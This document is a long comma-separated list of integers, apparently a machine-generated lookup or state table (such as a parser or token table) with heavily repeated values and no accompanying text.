1,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,58910,57916,57916,57916,57916,57916,57916,59963,57916,59965,57916,57916,57916,57916,57916,57916,57916,59971,57916,57916,57916,57916,57916,57916,60914,57916,57916,57916,57916,57916,60918,57916,57916,57916,57916,60016,57916,57916,60019,60020,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,4239,0,0,0,0,528,60046,57943,60048,57943,57943,57943,57943,57943,57943,57943,60054,57943,57943,57943,57943,57943,57943,58979,58986,57943,57943,57943,57943,57943,57943,57943,57943,57943,60079,57943,57943,57943,57943,57943,57943,57943,60099,57943,57943,60102,60103,57943,2435,528,2762,528,528,59866,57893,60111,57893,57893,57893,57893,57893,61083,57893,57893,57893,57893,57893,57893,57893,57893,61089,57893,57893,57893,57893,57893,61219,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,1272,57893,57943,57943,57943,57943,57943,57943,57943,528,3132,528,528,528,57893,60479,57893,57893,0,0,2829,0,0,0,0,2833,0,0,0,0,0,0,0,0,312,311,0,0,0,311,311,312,2905,528,528,528,528,2909,528,528,528,2914,528,528,528,528,528,528,1920,528,528,528,528,528,528,528,528,528,1908,528,528,528,528,528,528,528,528,2922,528,528,528,528,528,528,528,2927,528,528,528,528,528,528,3940,528,528,528,528,528,528,3946,528,528,60284,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59406,60296,57893,60298,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59403,57893,57893,57893,60324,57893,57893,57893,57893,57893,57893,57893,57893,60332,57893,57893,57893,57893,57893,57893,61096,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,60703,57916,57916,57943,57943,57943,57943,57943,57943,57943,58466,57943,57943,57943,57943,528,528,528,896,57893,57893,57893,60338,57893,57893,57893,57893,57893,57893,57893,0,2999,0,0,0,0,0,1323,0,0,0,0,0,0,0,0,0,0,2836,2837,0,0,0,0,57916,60382,57916,57916,57916,57916,60386,57916,57916,57916,60391,57916,57916,57916,57916,57916,57916,60926,57916,57916,57916,57916,57916,57916,57916,57916,57916,59956,57916,57916,57916,57916,57916,57916,57916,57916,57916,60399,57916,57916,57916,57916,57916,57916,57916,57916,60405,57916,57916,57916,57916,57916,59992,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58925,57916,57916,57916,57916,57916,57943,57943,57943,57943,60447,57943,57943,57943,57943,60451,57943,57943,57943,60456,57943,57943,528,1352,528,528,1717,528,58791,57893,57893,57893,59066,57893,1151,0,0,0,3177,0,0,0,0,0,0,0,0,0,0,0,0,0,2390,0,0,528,528,528,528,3232,528,528,528,528,528,528,528,528,528,528,528,528,1941,528,528,528,528,528,3251,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2892,528,57893,57893,57893,57893,60643,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,3442,3443,0,3444,0,3446,0,0,0,0,3448,0,0,0,0,0,0,737,0,0,0,0,0,0,0,0,0,2360,0,0,0,0,0,2364,3467,0,0,0,0,3472,3473,0,3475,0,0,3478,0,0,0,3481,528,528,528,528,3498,528,528,528,528,528,3504,528,528,528,528,528,528,4020,528,4022,4023,528,4025,528,57893,57893,57893,57893,57893,57893,60882,57893,57893,57893,57893,57893,60888,57893,57893,60891,57893,57893,57893,0,0,0,0,57916,57916,57916,59941,57916,59943,57916,57916,57916,57916,57916,60006,60007,60008,57916,57916,57916,57916,57916,57916,57916,57916,58943,57916,57916,58947,57916,57916,57916,57916,57916,57916,57916,57916,60924,57916,57916,57916,57916,57916,60930,57916,57916,60933,57916,57916,57893,57943,57943,57943,57943,57943,59532,57943,57943,57943,57943,57943,59538,57943,60991,57943,528,528,3650,57893,57893,60997,0,0,0,0,0,0,3659,0,0,0,0,3445,0,0,0,0,0,0,0,0,0,0,0,2812,0,0,2815,0,0,3662,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1306,0,3669,0,0,0,0,0,0,0,0,0,0,0,0,3676,0,3678,528,528,528,528,3705,528,528,528,528,528,528,528,528,528,528,528,528,2458,528,528,528,528,528,3715,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2903,528,528,57893,57893,57893,61071,57893,57893,57893,57893,57893,57893,57893,61076,57893,57893,57893,0,0,0,0,57916,57916,59940,57916,57916,57916,57916,57916,57916,59981,57916,57916,57916,57916,57916,57916,57916,57916,57916,59453,57916,57916,57916,57916,57916,57916,57893,57893,57893,57893,61095,57893,57893,57893,57893,57893,57893,57916,57916,57916,61100,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58432,57943,57943,57943,57943,57943,60075,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59048,57943,57943,57943,57943,61134,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61145,3832,0,0,3835,0,0,0,0,0,0,0,0,0,0,0,0,772,0,0,0,57916,57916,61238,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61142,57943,57943,57943,3924,0,3675,0,0,0,0,0,3932,0,0,0,0,0,0,0,312,0,0,0,0,0,311,0,311,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,61301,57893,57893,57893,57893,57893,59363,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60315,57893,57893,57893,57893,60319,57893,57893,57943,61333,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,57893,0,0,0,0,0,1736,0,0,0,0,0,0,0,0,0,0,2334720,0,2334720,0,0,0,0,0,0,4079,0,0,0,0,0,0,0,528,528,528,528,528,528,528,4157,528,4159,528,528,4091,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,61448,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,61317,57916,61462,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,60028,57943,61476,57943,57943,57943,57943,57943,57943,57943,57943,57943,4141,4142,0,0,0,4145,528,528,61507,61508,61509,57893,57893,57893,61512,57893,61514,57893,57893,57893,57893,61519,61520,61521,61522,57916,57916,57916,61525,57916,61527,57916,57916,57916,57916,61532,61533,61534,61535,57943,57943,57943,61538,57943,61540,57943,57943,57943,57943,61545,0,0,0,0,0,0,3194,0,0,0,3198,0,3200,0,0,0,528,4245,528,528,528,4249,57893,57893,61595,57893,57893,57893,61599,57893,57916,57916,57893,57943,59529,57943,57943,57943,57943,57943,57943,57943,59536,57943,57943,57943,57943,57943,59040,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,3412,528,57893,60759,57893,61601,57916,57916,57916,61605,57916,57943,57943,61607,57943,57943,57943,61611,57943,0,0,0,0,0,2342912,0,0,0,0,0,0,0,0,0,4358144,4359058,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6275072,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,413,0,0,0,0,0,0,413,139264,147456,0,0,0,422,0,0,0,0,3456,0,0,0,0,0,0,0,0,0,0,0,749,0,0,0,0,372,372,0,430,131072,372,430,430,0,333,372,430,0,0,430,456,430,0,0,0,430,495,495,495,500,495,495,495,500,495,430,430,430,430,430,430,430,430,430,430,430,430,430,430,430,430,534,57900,534,57900,534,534,57900,534,534,57923,57900,534,534,57900,57900,57900,57900,57950,57950,57900,57900,57900,57900,57950,57950,57900,534,57900,57900,57923,57900,57900,57900,57900,57900,57900,57900,57923,57923,57900,57900,57950,57900,57900,57900,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,841,528,528,528,528,528,528,873,528,528,528,528,528,528,528,528,1939,528,528,528,528,528,528,528,0,0,1175,0,0,0,0,0,0,0,0,0,0,0,0,0,2416,0,0,0,0,0,1296,0,1175,0,0,0,0,0,0,0,0,0,0,2371,0,0,0,0,0,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,58784,57893,57893,57893,57893,57893,57893,61210,57893,57893,57893,57893,57893,57893,57893,57893,57893,60626,57893,57893,60629,57893,57893,57893,58796,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59424,57943,58973,57943,57943,57943,57943,57943,58985,57943,57943,57943,57943,57943,57943,57943,57943,57943,60053,57943,57943,57943,57943,57943,57943,0,1873,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1743,1744,57943,60460,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60726,57943,61135,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61257,528,528,528,61636,57893,57893,57893,61638,57916,57916,57916,61640,57943,57943,57943,0,0,0,0,3471,0,0,0,0,0,0,0,0,0,0,0,1868,0,0,0,0,0,0,0,431,131072,0,431,431,0,0,0,431,446,0,431,0,0,0,0,3663,0,0,0,0,0,0,0,0,0,0,0,1289,0,0,0,0,431,476,476,476,489,489,489,489,489,489,489,489,489,489,489,489,489,489,489,489,535,57901,535,57901,535,535,57901,535,535,57924,57901,535,535,57901,57901,57901,57901,57951,57951,57901,57901,57901,57901,57951,57951,57901,535,57901,57901,57924,57901,57901,57901,57901,57901,57901,57901,57924,57924,57901,57901,57951,57901,57901,57901,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,528,528,528,528,58773,1986,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59353,57893,57893,57893,57893,57893,0,0,0,2327,0,0,0,0,0,0,0,0,0,0,0,0,773,0,0,776,2351,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1774,57893,57893,59892,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59900,57893,57893,0,0,0,2805,0,0,0,0,0,0,0,0,0,0,0,0,800,0,0,528,3175,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1790,0,0,3431,0,0,0,0,0,3437,0,0,0,0,0,0,0,331,0,139264,147456,0,0,0,0,0,3482,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1372,57893,57893,57893,57893,60883,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60893,60908,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60396,60935,57916,57916,57916,57916,57916,57916,57916,57916,57916,60944,57916,57916,60947,57916,57916,57893,59528,57943,59530,57943,59531,57943,59533,57943,59535,57943,57943,57943,59539,57916,60950,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59012,57943,57943,60977,57943,57943,57943,57943,57943,57943,57943,57943,57943,60986,57943,57943,60989,57943,57943,57943,57943,57943,60966,57943,57943,57943,57943,57943,60972,57943,57943,60975,57943,57943,57943,57943,57943,60750,57943,57943,57943,57943,528,528,528,57893,57893,57893,0,0,0,0,0,0,0,3660,528,528,528,528,3716,528,3718,528,528,528,528,528,528,528,528,528,528,3491,528,528,528,528,528,528,57893,57893,61070,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59385,57893,57893,57893,57893,57893,57893,57893,61082,57893,57893,57893,57893,57893,57893,57893,57893,61088,57893,61090,57943,61146,57943,61148,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,57893,0,0,0,528,528,528,528,3854,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58277,57893,57893,58293,57893,57893,61216,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61229,57916,57916,57916,57916,57916,57916,57916,57916,57916,61235,57916,57916,57916,57916,57916,61467,57916,57916,61469,57916,57943,57943,57943,57943,57943,57943,57943,60449,57943,57943,60453,57943,57943,57943,57943,57943,61248,57943,57943,57943,57943,57943,57943,57943,57943,57943,61254,57943,57943,57943,57943,57943,57943,58980,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60734,57943,57943,57943,57943,57943,57916,61625,61626,57916,57916,57943,57943,61629,61630,57943,57943,0,0,0,0,528,528,528,528,4275,528,57893,57893,57893,57893,61623,57893,57916,0,761,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1789,0,761,0,0,0,0,0,761,761,0,0,828,0,0,0,0,0,0,738,0,644,738,0,742,743,644,0,0,528,528,852,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2919,528,528,528,528,911,57893,57893,57893,57893,58271,57893,57893,57893,57893,57893,57893,57893,58862,57893,57893,57893,50676,58773,990,57916,58871,58406,0,0,0,0,57893,57943,57943,57943,57943,58422,57943,57943,57943,57943,57943,57943,58981,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60985,57943,57943,57943,57943,57943,528,911,0,58271,57893,57893,57893,57893,58330,155942,1151,0,0,0,0,0,0,751,0,0,0,0,0,0,0,0,0,139264,147456,0,0,319,0,0,0,1279,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2337,0,57943,59035,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59028,57943,528,528,528,1983,58773,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59418,57893,57893,57893,57893,57893,57893,57893,59427,50676,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60377,57916,57916,57916,57916,59527,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60746,57943,59623,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,0,0,0,0,3142,0,0,0,0,0,0,0,752,0,0,0,0,0,0,758,0,59861,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59889,57916,57916,57916,57916,59950,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60675,57916,57916,60678,57943,57943,57943,57943,60033,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60042,57943,57943,57943,3812,528,57893,61158,57893,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,386,57916,57916,57916,57916,61240,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61255,57943,57943,57943,57943,61259,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,0,0,0,3146,0,0,0,0,0,334,0,0,0,0,0,0,0,0,0,0,0,334,385,387,0,0,0,0,0,0,0,0,0,0,0,0,0,402,0,0,0,0,3672,0,0,0,0,0,0,0,0,0,0,0,1786,0,0,0,0,334,0,0,0,0,0,0,0,0,0,0,0,0,334,0,0,139264,147456,0,0,0,0,0,425,425,0,0,131072,425,0,0,0,0,425,0,447,0,0,425,335,477,477,477,490,490,490,490,490,490,490,490,490,490,511,519,519,519,519,519,526,519,519,519,526,519,519,519,519,519,519,536,57902,536,57902,536,536,57902,536,536,57925,57902,536,536,57902,57902,57902,57902,57952,57952,57902,57902,57902,57902,57952,57952,57902,536,57902,57902,57925,57902,57902,57902,57902,57902,57902,57902,57925,57925,57902,57902,57952,57902,57902,57902,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,780,0,0,0,0,0,0,0,0,0,0,0,0,0,2789,2790,0,0,795,0,0,0,0,0,0,0,799,0,0,0,0,0,0,0,2330,0,0,0,0,0,0,0,0,1238,0,0,0,0,0,0,0,819,0,0,0,0,0,819,819,0,0,0,0,799,0,0,0,0,0,1750,0,0,0,0,0,0,0,0,0,0,2850,0,0,0,0,0,0,0,0,835,795,0,0,835,0,0,0,0,0,0,0,528,528,528,4154,528,528,528,528,528,528,528,3234,528,528,528,528,528,528,528,528,528,3942,528,528,528,528,528,528,528,528,528,855,528,864,528,528,528,528,528,528,528,528,528,528,528,3944,528,528,528,528,528,528,528,912,57893,57893,57893,57893,57893,58274,57893,58283,57893,57893,57893,57893,57893,59395,59396,57893,57893,57893,57893,57893,57893,57893,57893,57893,59897,57893,57893,57893,57893,57893,57893,58350,57916,58359,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58401,57916,57916,58407,0,0,0,0,57893,57943,57943,57943,57943,57943,58425,57943,58434,57943,57943,528,1354,528,528,528,528,58793,57893,57893,57893,57893,57893,1151,0,1143,912,0,57893,57893,57893,57893,58493,58331,155942,1151,0,0,0,0,0,0,790,0,802,0,816,0,0,0,0,810,1246,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1821,0,0,0,1308,0,0,0,0,0,0,0,0,1313,0,0,0,0,0,1796,0,0,0,0,0,0,0,0,0,0,1211,368,368,0,0,1214,528,528,528,1350,528,528,528,528,528,528,528,528,528,1369,528,528,0,0,0,2933,0,1986,57893,57893,57893,57893,57893,57893,57893,57893,59884,57893,57893,57893,57893,57893,57893,57893,528,1409,528,528,1413,528,528,528,528,528,1420,528,528,528,1427,528,528,0,57893,57893,57893,58315,57893,57893,155942,1151,0,0,0,0,0,0,0,6324224,4358144,4358144,5005312,4358144,4358144,4358144,512e4,5136384,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6119424,4358144,6168576,4358144,4358144,4358144,4358144,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58789,57893,57893,57893,57893,57893,61379,57893,61381,61382,57893,61384,57893,61386,57916,57916,57916,57916,57916,60385,57916,57916,57916,57916,57916,57916,60393,57916,57916,57916,57916,57916,60691,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59484,57916,57916,57916,57916,57916,57893,57893,58818,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59914,57893,57893,57916,58954,57916,57916,57916,58961,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,61140,57943,57943,57943,57943,57943,57943,57943,57943,60969,57943,60971,57943,57943,57943,57943,57943,57943,57943,57943,59038,57943,57943,59042,57943,57943,57943,57943,57943,59049,57943,57943,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,3923,59056,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,0,0,0,0,4003,3675,0,0,0,0,0,0,0,0,528,528,528,528,528,528,528,1345,1844,1845,0,1847,0,0,0,0,0,0,0,0,0,0,0,0,806,0,0,0,0,1861,0,1863,0,0,0,0,0,0,0,0,0,0,0,0,839,0,0,528,0,0,0,1875,0,0,0,0,0,0,0,0,0,0,0,0,990,0,0,0,0,0,1861,0,0,0,0,0,528,528,528,528,528,528,528,528,3223,528,528,528,528,528,528,1949,528,528,528,528,528,528,528,528,1958,528,528,528,528,528,2478,528,528,528,528,528,528,528,528,528,528,1421,528,528,528,528,528,528,528,528,1967,528,528,528,528,528,528,528,528,528,528,1977,1979,57893,57893,59392,57893,57893,57893,57893,57893,57893,57893,57893,59401,57893,57893,57893,57893,57893,59414,57893,57893,57893,57893,57893,57893,59420,57893,57893,57893,57893,57893,59410,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59421,59423,57893,57893,57893,57893,57893,61453,57893,57893,61455,57893,57916,57916,57916,57916,57916,57916,59482,57916,57916,57916,57916,57916,57916,57916,57916,57916,59983,57916,57916,57916,57916,57916,57916,57916,59492,57916,57916,57916,57916,57916,57916,57916,57916,59501,57916,57916,57916,57916,57916,57916,60940,60942,57916,57916,57916,57916,60946,57916,60948,60949,57916,59510,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59521,59523,57916,57916,57916,57916,57916,61570,57916,61571,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,60416,57943,57943,57943,59588,57943,57943,57943,57943,57943,57943,57943,57943,59597,57943,57943,57943,57943,57943,57943,57943,59043,57943,57943,57943,57943,57943,57943,57943,57943,58988,57943,57943,57943,57943,57943,57943,57943,59606,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59617,59619,57943,57943,57943,528,528,57893,57893,0,0,0,0,0,3921,0,0,0,0,0,1812,0,0,0,0,0,0,0,0,0,0,1839,0,0,0,0,0,0,0,2340,0,0,0,0,0,2346,0,0,0,0,0,0,0,372,0,0,0,380,382,0,0,0,0,0,0,2354,0,0,0,0,0,0,0,0,2362,0,0,0,0,0,1835,0,0,0,0,0,0,0,0,0,0,0,0,528,528,528,528,528,2424,528,528,528,528,528,528,528,528,528,528,3722,528,528,528,528,528,528,528,2436,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2930,528,528,528,2463,528,528,528,528,528,528,528,528,528,528,528,528,528,528,3240,3241,0,0,0,57893,57893,57893,57893,57893,57893,59855,57893,57893,57893,57893,57893,57893,0,0,57916,60658,57916,57916,57916,57916,57916,57916,58940,57916,57916,57916,57916,57916,57916,57916,57916,57916,59518,57916,57916,57916,57916,57916,57916,57916,60003,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58951,57916,57916,57916,57916,60018,57916,57916,57916,57943,57943,57943,57943,57943,57943,60027,57943,57943,528,1355,528,528,528,528,58794,57893,57893,57893,57893,57893,1151,0,57943,60086,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59570,57943,57943,57943,57943,60101,57943,57943,57943,2436,528,528,528,528,59867,57893,57893,57893,0,0,0,0,57916,59939,57916,57916,57916,57916,57916,57916,57916,60927,57916,60929,57916,57916,57916,57916,57916,57916,0,2793,0,2795,0,0,0,0,0,0,0,0,2800,0,0,2803,0,0,2818,0,0,0,0,0,0,0,2826,0,0,0,0,2828,0,2842,0,0,2845,0,0,0,0,0,0,0,0,0,0,2855,0,0,528,2869,528,528,528,528,528,528,528,528,528,528,528,528,528,2918,528,528,57893,57893,57893,57893,60327,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,61099,57916,57916,60336,57893,57893,57893,60339,57893,57893,57893,57893,57893,57893,0,0,0,0,0,0,2772,0,0,0,0,0,0,0,0,2359,0,0,0,0,0,0,0,0,57916,60345,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58894,57916,57916,57943,60433,57943,57943,57943,57943,57943,57943,57943,60438,57943,57943,57943,57943,57943,57943,57943,59549,57943,57943,57943,57943,57943,57943,57943,57943,57943,60067,57943,57943,57943,57943,57943,57943,57943,60444,57943,57943,57943,57943,57943,57943,57943,60452,57943,57943,57943,57943,57943,57943,57943,59595,57943,57943,57943,57943,57943,57943,57943,57943,57943,61543,57943,57943,0,0,0,0,60459,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60468,57943,57943,57943,528,528,57893,57893,0,0,0,3919,0,0,3922,0,0,60471,57943,57943,57943,57943,57943,57943,3131,528,528,528,528,60478,57893,57893,57893,0,0,0,0,59938,57916,57916,57916,57916,57916,57916,57916,59946,3204,0,0,0,3206,0,0,0,0,0,0,0,0,0,0,0,1818,0,0,0,0,528,528,528,528,3244,528,528,528,528,528,528,528,528,528,528,3249,528,528,528,3252,528,3254,528,528,528,528,528,528,528,3258,528,528,0,0,2503,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,59858,57893,57893,57893,60632,57893,57893,57893,57893,60635,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59924,57893,59926,57893,57893,57893,57893,60641,57893,57893,57893,60644,57893,60646,57893,57893,57893,57893,57893,57893,57893,57893,58843,57893,57893,57893,57893,57893,57893,57893,60651,57893,57893,57893,57893,57893,0,0,57916,57916,57916,60659,57916,57916,57916,57916,57916,58905,57916,58907,57916,57916,57916,57916,57916,57916,57916,57916,60362,57916,57916,57916,57916,57916,57916,57916,57916,60664,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59458,57916,57916,57916,60680,60681,57916,57916,57916,57916,60684,57916,57916,57916,57916,57916,57916,57916,57943,60022,57943,57943,57943,57943,57943,57943,57943,57943,61153,57943,57943,57943,57943,57943,57943,528,57916,57916,57916,57916,60690,57916,57916,57916,60693,57916,60695,57916,57916,57916,57916,57916,57916,61105,57916,57916,57916,57916,57916,57916,57916,57916,57916,58944,57916,57916,57916,57916,57916,58952,57916,57916,57916,60700,57916,57916,57916,57916,57916,57943,57943,57943,60708,57943,57943,57943,528,528,57893,57893,3918,0,0,0,3920,0,0,0,0,0,0,3695,0,3697,528,528,528,528,528,528,528,1905,528,528,528,528,528,528,528,528,2926,528,528,528,528,528,528,528,57943,57943,60713,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61144,57943,57943,57943,57943,60729,60730,57943,57943,57943,57943,60733,57943,57943,57943,57943,57943,57943,57943,60036,57943,60038,57943,57943,57943,57943,57943,57943,57943,58984,57943,58989,57943,57943,58993,57943,57943,58996,57943,57943,57943,57943,60749,57943,57943,57943,57943,57943,528,528,528,57893,57893,57893,0,0,0,0,0,0,0,0,0,0,0,3417,0,0,3420,3421,0,0,0,0,0,0,0,0,0,0,0,1827,0,0,0,0,528,528,528,528,3486,528,528,528,528,3490,528,528,528,528,528,528,1952,1953,528,528,528,528,528,528,528,528,528,3517,528,528,528,528,528,57893,528,3496,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2931,528,3510,528,528,528,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,61204,57893,57893,57893,60870,57893,57893,57893,57893,60874,57893,57893,57893,57893,57893,57893,57893,58863,58864,57893,57893,50676,58773,990,57916,57916,60880,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59901,57893,60895,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58830,57893,57916,57916,57916,57916,60912,57916,57916,57916,57916,60916,57916,57916,57916,57916,57916,57916,58962,0,58963,58964,57943,57943,57943,57943,57943,58971,57916,60922,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59472,57916,57916,57916,60937,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58927,57916,58929,57916,57943,57943,57943,57943,60954,57943,57943,57943,57943,60958,57943,57943,57943,57943,57943,57943,58982,57943,57943,57943,57943,58992,57943,57943,57943,57943,57943,57943,60964,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61256,57943,57943,57943,57943,60979,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60974,57943,60976,528,528,57893,57893,57893,0,0,0,0,3819,0,0,0,0,0,3822,0,528,528,528,528,528,528,3844,528,528,528,528,528,528,528,528,2481,528,528,528,528,528,2485,2486,57893,57893,61206,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59927,57893,57893,57893,57893,61217,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,61225,0,0,3675,0,0,0,0,0,0,0,0,0,0,0,3934,0,0,0,0,4080,0,0,0,0,0,0,528,528,528,528,528,528,4211,528,4212,528,528,528,57893,57893,57893,57893,57893,57893,61562,57893,61563,57893,57893,57893,57893,57916,57943,4313,4314,61659,61660,61661,0,528,57893,57916,57943,0,0,0,0,0,2382,0,0,0,0,0,0,0,0,0,0,4284416,0,0,0,0,0,57943,57943,61578,57943,61579,57943,57943,57943,57943,0,0,0,0,0,0,528,528,4273,4274,528,528,57893,57893,61621,61622,57893,57893,57916,0,528,528,57893,57893,57916,57916,57943,57943,4303,4304,61649,61650,61651,0,528,528,528,528,528,528,528,528,528,2428,528,528,528,528,528,528,4096,528,528,4098,57893,57893,57893,57893,57893,57893,58861,57893,57893,57893,57893,50676,58773,990,57916,57916,537,57903,537,57903,537,537,57903,537,537,57926,57903,537,537,57903,57903,57903,57903,57953,57953,57903,57903,57903,57903,57953,57953,57903,537,57903,57903,57926,57903,57903,57903,57903,57903,57903,57903,57926,57926,57903,57903,57953,57903,57903,57903,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,57893,57893,58833,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60649,57893,57893,57916,59948,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59489,57916,57943,60031,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60044,57943,0,384,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2404,0,0,340,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2854,0,0,0,406,0,0,0,0,0,0,0,0,0,0,0,0,406,0,0,0,432,131072,0,432,432,0,0,0,432,0,452,432,0,0,0,0,4206,0,528,528,528,528,528,528,528,528,528,528,528,528,2430,528,528,432,478,478,478,491,491,491,491,491,491,491,491,491,491,491,491,491,491,491,491,538,57904,538,57904,538,538,57904,538,538,57927,57904,538,538,57904,57904,57904,57904,57954,57954,57904,57904,57904,57904,57954,57954,57904,538,57904,57904,57927,57904,57904,57904,57904,57904,57904,57904,57927,57927,57904,57904,57954,57904,57904,57904,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,661,0,661,0,0,0,0,826,0,0,0,661,0,0,0,0,0,5218304,0,0,0,0,5799936,0,5881856,0,0,0,0,0,0,5029888,5038080,0,0,5103616,5201920,0,0,0,0,0,0,1878,0,0,0,0,0,0,0,0,0,2296,0,0,0,0,0,0,842,528,528,528,857,528,528,528,528,528,528,528,528,528,528,898,528,528,528,528,57893,57893,58260,57893,57893,57893,58276,57893,57893,57893,57893,57893,57893,61220,57893,57893,57916,57916,57916,57916,57916,57916,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,59022,57943,59024,57943,57943,57943,57943,57943,57916,58352,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58393,57916,57916,57916,57916,57916,60913,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61471,57943,57943,57943,57943,57943,1160,0,0,0,0,0,0,0,0,0,1167,1168,0,0,0,0,0,0,1299,0,0,0,0,0,0,0,0,528,528,1340,528,528,528,528,528,0,0,0,1249,0,0,0,0,0,0,0,0,0